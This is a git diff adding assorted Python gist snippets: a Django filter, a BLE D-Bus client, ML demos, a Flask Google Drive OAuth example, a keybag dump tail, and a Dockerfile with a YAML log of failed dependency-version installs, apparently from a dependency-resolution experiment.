+					for k, v in key.iteritems())
+
+	def __repr__(self):
+		return repr(self.keys)
+
+def main():
+	stream = getKeybagFile(sys.argv[1])
+
+	k = Keybag(stream)
+	k.dump()
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py differ
diff --git a/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py
new file mode 100644
index 00000000..8c625770
--- /dev/null
+++ b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/snippet.py
@@ -0,0 +1,8 @@
+from django import template
+register = template.Library()
+
+@register.filter(name='urltoname')
+def urltoname(value):
+	"filter that extracts the filename from a URL"
+	x = str(value)
+	return x[x.rfind("/")+1:]
diff --git a/hard-gists/0afa43225bdbe8e803cb/._snippet.py b/hard-gists/0afa43225bdbe8e803cb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0afa43225bdbe8e803cb/._snippet.py differ
diff --git a/hard-gists/0afa43225bdbe8e803cb/snippet.py b/hard-gists/0afa43225bdbe8e803cb/snippet.py
new file mode 100644
index 00000000..bc2d4624
--- /dev/null
+++ b/hard-gists/0afa43225bdbe8e803cb/snippet.py
@@ -0,0 +1,138 @@
+from __future__ import print_function
+import dbus
+import sys
+import dbus.service
+import dbus.mainloop.glib
+import gobject as gobject
+
+
+dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+bus = dbus.SystemBus()
+
+
+BLUEZ_SERVICE_NAME = "org.bluez"
+DBUS_OM_IFACE = "org.freedesktop.DBus.ObjectManager"
+DBUS_PROP_IFACE = "org.freedesktop.DBus.Properties"
+
+GATT_SERVICE_IFACE = "org.bluez.GattService1"
+GATT_CHRC_IFACE = "org.bluez.GattCharacteristic1"
+
+SCRATCH_SVC_UUID = "a495ff20-c5b1-4b44-b512-1370f02d74de"
+
+SCRATCHES = {"scratch1": {"uuid": "a495ff21-c5b1-4b44-b512-1370f02d74de",
+                          "obj": None,
+                          "value": 0},
+             "scratch2": {"uuid": "a495ff22-c5b1-4b44-b512-1370f02d74de",
+                          "obj": None,
+                          "value": 0},
+             "scratch3": {"uuid": "a495ff23-c5b1-4b44-b512-1370f02d74de",
+                          "obj": None,
+                          "value": 0},
+             "scratch4": {"uuid": "a495ff24-c5b1-4b44-b512-1370f02d74de",
+                          "obj": None,
+                          "value": 0},
+             "scratch5": {"uuid": "a495ff25-c5b1-4b44-b512-1370f02d74de",
+                          "obj": None,
+                          "value": 0}}
+
+
+def generic_error_cb(error):
+    print("D-Bus call failed: %s" % str(error))
+    mainloop.quit()
+
+
+def scratch_start_notify_cb():
+    pass
+
+
+def generate_cb(scratch_name):
+    def scratch_notify_cb(iface, changed_props, _invalidated_props):
+        if iface != GATT_CHRC_IFACE:
+            return
+
+        if not len(changed_props):
+            return
+
+        value = changed_props.get('Value', None)
+        if not value:
+            return
+
+        SCRATCHES[scratch_name]["value"] = int(value[0])
+
+        print("%s, %s %s" % (scratch_name, value, SCRATCHES[scratch_name]["value"]))
+
+    return scratch_notify_cb
+
+
+def start_client():
+    for scratch in SCRATCHES.keys():
+        iface = dbus.Interface(SCRATCHES[scratch]["obj"][0], DBUS_PROP_IFACE)
+        iface.connect_to_signal("PropertiesChanged", generate_cb(scratch))
+
+        SCRATCHES[scratch]["obj"][0].StartNotify(reply_handler=scratch_start_notify_cb,
+                                                 error_handler=generic_error_cb,
+                                                 dbus_interface=GATT_CHRC_IFACE)
+
+
+def process_chrc(chrc_path):
+    chrc = bus.get_object(BLUEZ_SERVICE_NAME, chrc_path)
+    chrc_props = chrc.GetAll(GATT_CHRC_IFACE, dbus_interface=DBUS_PROP_IFACE)
+
+    uuid = chrc_props['UUID']
+
+    for scratch_name, scratch_data in SCRATCHES.iteritems():
+        if uuid == scratch_data["uuid"]:
+            SCRATCHES[scratch_name]["obj"] = (chrc, chrc_props)
+            break
+
+    return True
+
+
+def process_bean_service(service_path):
+    service = bus.get_object(BLUEZ_SERVICE_NAME, service_path)
+
+    service_props = service.GetAll(GATT_SERVICE_IFACE,
+                                   dbus_interface=DBUS_PROP_IFACE)
+    uuid = service_props['UUID']
+
+    if uuid != SCRATCH_SVC_UUID:
+        print('Service is not a scratch service: ' + uuid)
+        return False
+
+    # Process the characteristics.
+    chrc_paths = service_props['Characteristics']
+    for chrc_path in chrc_paths:
+        process_chrc(chrc_path)
+
+    return True
+
+
+def main():
+    if len(sys.argv) < 2:
+        print("One argument (mac) required")
+        exit(1)
+
+    mac = sys.argv[1]
+
+    mac = mac.replace(":", "_")
+    service_path = dbus.ObjectPath("/org/bluez/hci0/dev_%s/service0031/char0036" % mac)
+    service_path = dbus.ObjectPath("/org/bluez/hci0/dev_%s/service0031" % mac)
+
+    global mainloop
+    mainloop = gobject.MainLoop()
+
+    try:
+        if not process_bean_service(service_path):
+            print("Failed to process bean service")
+            sys.exit(1)
+    except dbus.DBusException as err:
+        print(err.message)
+        sys.exit(1)
+
+    start_client()
+
+    mainloop.run()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/0b42dbd687ae3b838728/._snippet.py b/hard-gists/0b42dbd687ae3b838728/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b42dbd687ae3b838728/._snippet.py differ
diff --git a/hard-gists/0b42dbd687ae3b838728/snippet.py b/hard-gists/0b42dbd687ae3b838728/snippet.py
new file mode 100644
index 00000000..e4d3d3ca
--- /dev/null
+++ b/hard-gists/0b42dbd687ae3b838728/snippet.py
@@ -0,0 +1,10 @@
+#! /usr/bin/env python
+
+import git
+from time import localtime, strftime
+from subprocess import call
+
+crime = git.Repo("/Users/chadblack/Projects/crime")
+
+call(["jrnl",strftime("%H:%M", localtime(crime.head.commit.committed_date))+":",crime.head.commit.message,"@"+crime.description])
+
diff --git a/hard-gists/0b677b13fca6cd0905ca/._snippet.py b/hard-gists/0b677b13fca6cd0905ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b677b13fca6cd0905ca/._snippet.py differ
diff --git a/hard-gists/0b677b13fca6cd0905ca/snippet.py b/hard-gists/0b677b13fca6cd0905ca/snippet.py
new file mode 100644
index 00000000..86274592
--- /dev/null
+++ b/hard-gists/0b677b13fca6cd0905ca/snippet.py
@@ -0,0 +1,92 @@
+import numpy as np
+import matplotlib.pyplot as plt
+
+from sklearn.datasets import fetch_olivetti_faces
+from sklearn.utils.validation import check_random_state
+from scipy.ndimage import imread
+
+from sklearn.ensemble import ExtraTreesRegressor
+from sklearn.neighbors import KNeighborsRegressor
+from sklearn.linear_model import LinearRegression
+from sklearn.linear_model import RidgeCV
+from compiler.ast import flatten
+from matplotlib.pyplot import title
+
+# Load the faces datasets
+data = fetch_olivetti_faces()
+targets = data.target
+
+#Load my face
+my_face = imread(fname='me.gif', flatten = True)
+my_normalized_face = my_face / 255.0
+my_flattened_normalized_face = np.ndarray(4096)
+for i, row in enumerate(my_normalized_face):
+    for j, pixel in enumerate(row):
+        my_flattened_normalized_face[i * 64 + j] = pixel
+
+data = data.images.reshape((len(data.images), -1))
+my_face_data = my_normalized_face.reshape((len(my_normalized_face), -1))
+
+train = data[targets]
+test = data[targets >= 30]  # Test on independent people
+
+# Test on a subset of people
+n_faces = 4
+rng = check_random_state(5)
+face_ids = rng.randint(test.shape[0], size=(n_faces, ))
+test = test[face_ids, :]
+
+n_pixels = data.shape[1]
+X_train = train[:, :int(np.ceil(0.5 * n_pixels) )]  # Upper half of the faces
+y_train = train[:, int(np.floor(0.5 * n_pixels)):]  # Lower half of the faces
+X_test = test[:, :int(np.ceil(0.5 * n_pixels) )]
+y_test = test[:, int (np.floor(0.5 * n_pixels)): ]
+
+X_my_face_test = my_flattened_normalized_face[:int(np.ceil(0.5 * n_pixels))]
+Y_my_face_test = my_flattened_normalized_face[int(np.floor(0.5 * n_pixels)):]                                         
+
+# Fit estimators
+ESTIMATORS = {
+    "Extra trees": ExtraTreesRegressor(n_estimators=15, max_features=20,
+                                       random_state=3),
+    "K-nn": KNeighborsRegressor(),
+#    These classifiers don't seem to work.
+#    "Linear regression": LinearRegression(),
+#    "Ridge": RidgeCV(),
+}
+
+y_test_predict = dict()
+my_face_y_test_predict = dict()
+for name, estimator in ESTIMATORS.items():
+    estimator.fit(X_train, y_train)
+    y_test_predict[name] = estimator.predict(X_test)
+    my_face_y_test_predict[name] = estimator.predict(X_my_face_test)
+
+# Plot the completed faces
+image_shape = (64, 64)
+
+n_cols = 1 + len(ESTIMATORS)
+plt.figure(figsize=(2. * n_cols, 2.26 * 2.0))
+plt.suptitle("Face completion with multi-output estimators", size=16)
+
+#Plot my face
+my_true_face = np.hstack((X_my_face_test, Y_my_face_test))
+
+#Print the top (true) part of my face for all faces)
+sub = plt.subplot(1, n_cols, 1, title='Actual Face')
+    
+sub.axis("off")
+sub.imshow(my_true_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest")
+
+#Print the bottom (estimated) part of my face for all faces
+for j, est in enumerate(sorted(ESTIMATORS)):
+    my_completed_face = np.hstack((X_my_face_test, my_face_y_test_predict[est][0]))   
+    sub = plt.subplot(1, n_cols, j + 2, title=est)
+
+    sub.axis("off")
+    try:
+        sub.imshow(my_completed_face.reshape(image_shape), cmap=plt.cm.gray, interpolation="nearest")
+    except ValueError:
+        continue
+
+plt.show()
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/._snippet.py differ
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7 b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7
new file mode 100644
index 00000000..de56da55
--- /dev/null
+++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/Dockerfile-llm-2.7
@@ -0,0 +1,10 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/${python_module}_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/${python_module}_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/matplotlib_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/matplotlib_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow==2_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow==2_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow_2.7.txt b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/modules/tensorflow_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml
new file mode 100644
index 00000000..1625f382
--- /dev/null
+++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/output_data_2.7.yml
@@ -0,0 +1,131 @@
+---
+python_version: 2.7
+start_time: 1773783492.0215385
+iterations:
+  iteration_1:
+    - python_module: {'tensorflow': '2.5.0', 'matplotlib': '3.5.1'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.5.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.5.0\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1
+  iteration_2:
+    - python_module: {'tensorflow': '2.5.0', 'matplotlib': '3.5.1'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.5.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.5.0\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.5.0' returned a non-zero code 1
+  iteration_3:
+    - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1
+  iteration_4:
+    - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"}
+         ---\u003e Removed intermediate container d835254efcd2\n"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1
+  iteration_5:
+    - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"}
+         ---\u003e Removed intermediate container d835254efcd2\n"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1
+  iteration_6:
+    - python_module: {'tensorflow': '2.4.1', 'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.4.1 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.4.1\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.4.1' returned a non-zero code 1
+  iteration_7:
+    - python_module: {'matplotlib': '3.5.1', 'tensorflow==2': '2.4.0'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement matplotlib==3.5.1 (from versions 0.86, 0.86.1, 0.86.2, 0.91.0, 0.91.1, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1rc1, 1.4.1, 1.4.2, 1.4.3, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0b1, 2.0.0b2, 2.0.0b3, 2.0.0b4, 2.0.0rc1, 2.0.0rc2, 2.0.0, 2.0.1, 2.0.2, 2.1.0rc1, 2.1.0, 2.1.1, 2.1.2, 2.2.0rc1, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.5)\nERROR No matching distribution found for matplotlib==3.5.1\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1
+---
+python_version: 2.7
+start_time: 1773786247.4363432
+iterations:
+  iteration_1:
+    - python_module: {'tensorflow': '2.8.0', 'matplotlib': '3.5.1'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement tensorflow==2.8.0 (from versions 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 2.0.0, 2.1.0)\nERROR No matching distribution found for tensorflow==2.8.0\n\u001b[0m"}
+         ---\u003e Removed intermediate container 1e3d2e24e8d3\n"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.8.0' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 tensorflow==2.8.0' returned a non-zero code 1
+  iteration_2:
+    - python_module: {'matplotlib': '3.5.1'}
+    - error_type: VersionNotFound
+    - error: |
+        \u001b[91mERROR Could not find a version that satisfies the requirement matplotlib==3.5.1 (from versions 0.86, 0.86.1, 0.86.2, 0.91.0, 0.91.1, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1rc1, 1.4.1, 1.4.2, 1.4.3, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 2.0.0b1, 2.0.0b2, 2.0.0b3, 2.0.0b4, 2.0.0rc1, 2.0.0rc2, 2.0.0, 2.0.1, 2.0.2, 2.1.0rc1, 2.1.0, 2.1.1, 2.1.2, 2.2.0rc1, 2.2.0, 2.2.2, 2.2.3, 2.2.4, 2.2.5)\nERROR No matching distribution found for matplotlib==3.5.1\n\u001b[0m"}
+        {"error""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1","errorDetail"{"code"1,"message""The command 'pip install --trusted-host pypi.python.org --default-timeout=100 matplotlib==3.5.1' returned a non-zero code 1
+  iteration_3:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_4:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_5:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_6:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_7:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_8:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_9:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+  iteration_10:
+    - python_module: {}
+    - error_type: ImportError
+    - error: |
+        Traceback (most recent call last):
+          File "/app/snippet.py", line 2, in <module>
+            import numpy as np
+        ImportError: No module named numpy
+end_time: 1773786603.712253
+total_time: 356.2759099006653
\ No newline at end of file
diff --git a/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py
new file mode 100644
index 00000000..d34cc9c6
--- /dev/null
+++ b/hard-gists/0b7e91487dcf10c0b8e8711eb6d73bc5/snippet.py
@@ -0,0 +1,115 @@
+from __future__ import print_function, division
+import numpy as np
+import tensorflow as tf
+import matplotlib.pyplot as plt
+
+num_epochs = 100
+total_series_length = 50000
+truncated_backprop_length = 15
+state_size = 4
+num_classes = 2
+echo_step = 3
+batch_size = 5
+num_batches = total_series_length//batch_size//truncated_backprop_length
+
+def generateData():
+    x = np.array(np.random.choice(2, total_series_length, p=[0.5, 0.5]))
+    y = np.roll(x, echo_step)
+    y[0:echo_step] = 0
+
+    x = x.reshape((batch_size, -1))  # The first index changing slowest, subseries as rows
+    y = y.reshape((batch_size, -1))
+
+    return (x, y)
+
+batchX_placeholder = tf.placeholder(tf.float32, [batch_size, truncated_backprop_length])
+batchY_placeholder = tf.placeholder(tf.int32, [batch_size, truncated_backprop_length])
+
+init_state = tf.placeholder(tf.float32, [batch_size, state_size])
+
+W = tf.Variable(np.random.rand(state_size+1, state_size), dtype=tf.float32)
+b = tf.Variable(np.zeros((1,state_size)), dtype=tf.float32)
+
+W2 = tf.Variable(np.random.rand(state_size, num_classes),dtype=tf.float32)
+b2 = tf.Variable(np.zeros((1,num_classes)), dtype=tf.float32)
+
+# Unpack columns
+inputs_series = tf.unpack(batchX_placeholder, axis=1)
+labels_series = tf.unpack(batchY_placeholder, axis=1)
+
+# Forward pass
+current_state = init_state
+states_series = []
+for current_input in inputs_series:
+    current_input = tf.reshape(current_input, [batch_size, 1])
+    input_and_state_concatenated = tf.concat(1, [current_input, current_state])  # Increasing number of columns
+
+    next_state = tf.tanh(tf.matmul(input_and_state_concatenated, W) + b)  # Broadcasted addition
+    states_series.append(next_state)
+    current_state = next_state
+
+logits_series = [tf.matmul(state, W2) + b2 for state in states_series] #Broadcasted addition
+predictions_series = [tf.nn.softmax(logits) for logits in logits_series]
+
+losses = [tf.nn.sparse_softmax_cross_entropy_with_logits(logits, labels) for logits, labels in zip(logits_series,labels_series)]
+total_loss = tf.reduce_mean(losses)
+
+train_step = tf.train.AdagradOptimizer(0.3).minimize(total_loss)
+
+def plot(loss_list, predictions_series, batchX, batchY):
+    plt.subplot(2, 3, 1)
+    plt.cla()
+    plt.plot(loss_list)
+
+    for batch_series_idx in range(5):
+        one_hot_output_series = np.array(predictions_series)[:, batch_series_idx, :]
+        single_output_series = np.array([(1 if out[0] < 0.5 else 0) for out in one_hot_output_series])
+
+        plt.subplot(2, 3, batch_series_idx + 2)
+        plt.cla()
+        plt.axis([0, truncated_backprop_length, 0, 2])
+        left_offset = range(truncated_backprop_length)
+        plt.bar(left_offset, batchX[batch_series_idx, :], width=1, color="blue")
+        plt.bar(left_offset, batchY[batch_series_idx, :] * 0.5, width=1, color="red")
+        plt.bar(left_offset, single_output_series * 0.3, width=1, color="green")
+
+    plt.draw()
+    plt.pause(0.0001)
+
+
+with tf.Session() as sess:
+    sess.run(tf.initialize_all_variables())
+    plt.ion()
+    plt.figure()
+    plt.show()
+    loss_list = []
+
+    for epoch_idx in range(num_epochs):
+        x,y = generateData()
+        _current_state = np.zeros((batch_size, state_size))
+
+        print("New data, epoch", epoch_idx)
+
+        for batch_idx in range(num_batches):
+            start_idx = batch_idx * truncated_backprop_length
+            end_idx = start_idx + truncated_backprop_length
+
+            batchX = x[:,start_idx:end_idx]
+            batchY = y[:,start_idx:end_idx]
+
+            _total_loss, _train_step, _current_state, _predictions_series = sess.run(
+                [total_loss, train_step, current_state, predictions_series],
+                feed_dict={
+                    batchX_placeholder:batchX,
+                    batchY_placeholder:batchY,
+                    init_state:_current_state
+                })
+
+            loss_list.append(_total_loss)
+
+            if batch_idx%100 == 0:
+                print("Step",batch_idx, "Loss", _total_loss)
+                plot(loss_list, _predictions_series, batchX, batchY)
+
+plt.ioff()
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py b/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0b92b9ca837a0f5474c732876220db78/._snippet.py differ
diff --git a/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py b/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py
new file mode 100644
index 00000000..9336ca21
--- /dev/null
+++ b/hard-gists/0b92b9ca837a0f5474c732876220db78/snippet.py
@@ -0,0 +1,110 @@
+##
+# Flask Drive Example App
+#
+# @author Prahlad Yeri <prahladyeri@yahoo.com>
+# @date 30-12-2016
+# Dependency:
+# 1. pip install flask google-api-python-client
+# 2. make sure you have client_id.json in this same directory.
+
+import os
+import flask
+import httplib2
+from apiclient import discovery
+from apiclient.http import MediaIoBaseDownload, MediaFileUpload
+from oauth2client import client
+from oauth2client import tools
+from oauth2client.file import Storage
+
+app = flask.Flask(__name__)
+
+@app.route('/')
+def index():
+	credentials = get_credentials()
+	if credentials == False:
+		return flask.redirect(flask.url_for('oauth2callback'))
+	elif credentials.access_token_expired:
+		return flask.redirect(flask.url_for('oauth2callback'))
+	else:
+		print('now calling fetch')
+		all_files = fetch("'root' in parents and mimeType = 'application/vnd.google-apps.folder'", sort='modifiedTime desc')
+		s = ""
+		for file in all_files:
+			s += "%s, %s<br>" % (file['name'],file['id'])
+		return s
+		
+@app.route('/oauth2callback')
+def oauth2callback():
+	flow = client.flow_from_clientsecrets('client_id.json',
+			scope='https://www.googleapis.com/auth/drive',
+			redirect_uri=flask.url_for('oauth2callback', _external=True)) # access drive api using developer credentials
+	flow.params['include_granted_scopes'] = 'true'
+	if 'code' not in flask.request.args:
+		auth_uri = flow.step1_get_authorize_url()
+		return flask.redirect(auth_uri)
+	else:
+		auth_code = flask.request.args.get('code')
+		credentials = flow.step2_exchange(auth_code)
+		open('credentials.json','w').write(credentials.to_json()) # write access token to credentials.json locally 
+		return flask.redirect(flask.url_for('index'))
+
+def get_credentials():
+	credential_path = 'credentials.json'
+
+	store = Storage(credential_path)
+	credentials = store.get()
+	if not credentials or credentials.invalid:
+		print("Credentials not found.")
+		return False
+	else:
+		print("Credentials fetched successfully.")
+		return credentials
+
+def fetch(query, sort='modifiedTime desc'):
+	credentials = get_credentials()
+	http = credentials.authorize(httplib2.Http())
+	service = discovery.build('drive', 'v3', http=http)
+	results = service.files().list(
+		q=query,orderBy=sort,pageSize=10,fields="nextPageToken, files(id, name)").execute()
+	items = results.get('files', [])
+	return items
+
+def download_file(file_id, output_file):
+	credentials = get_credentials()
+	http = credentials.authorize(httplib2.Http())
+	service = discovery.build('drive', 'v3', http=http)
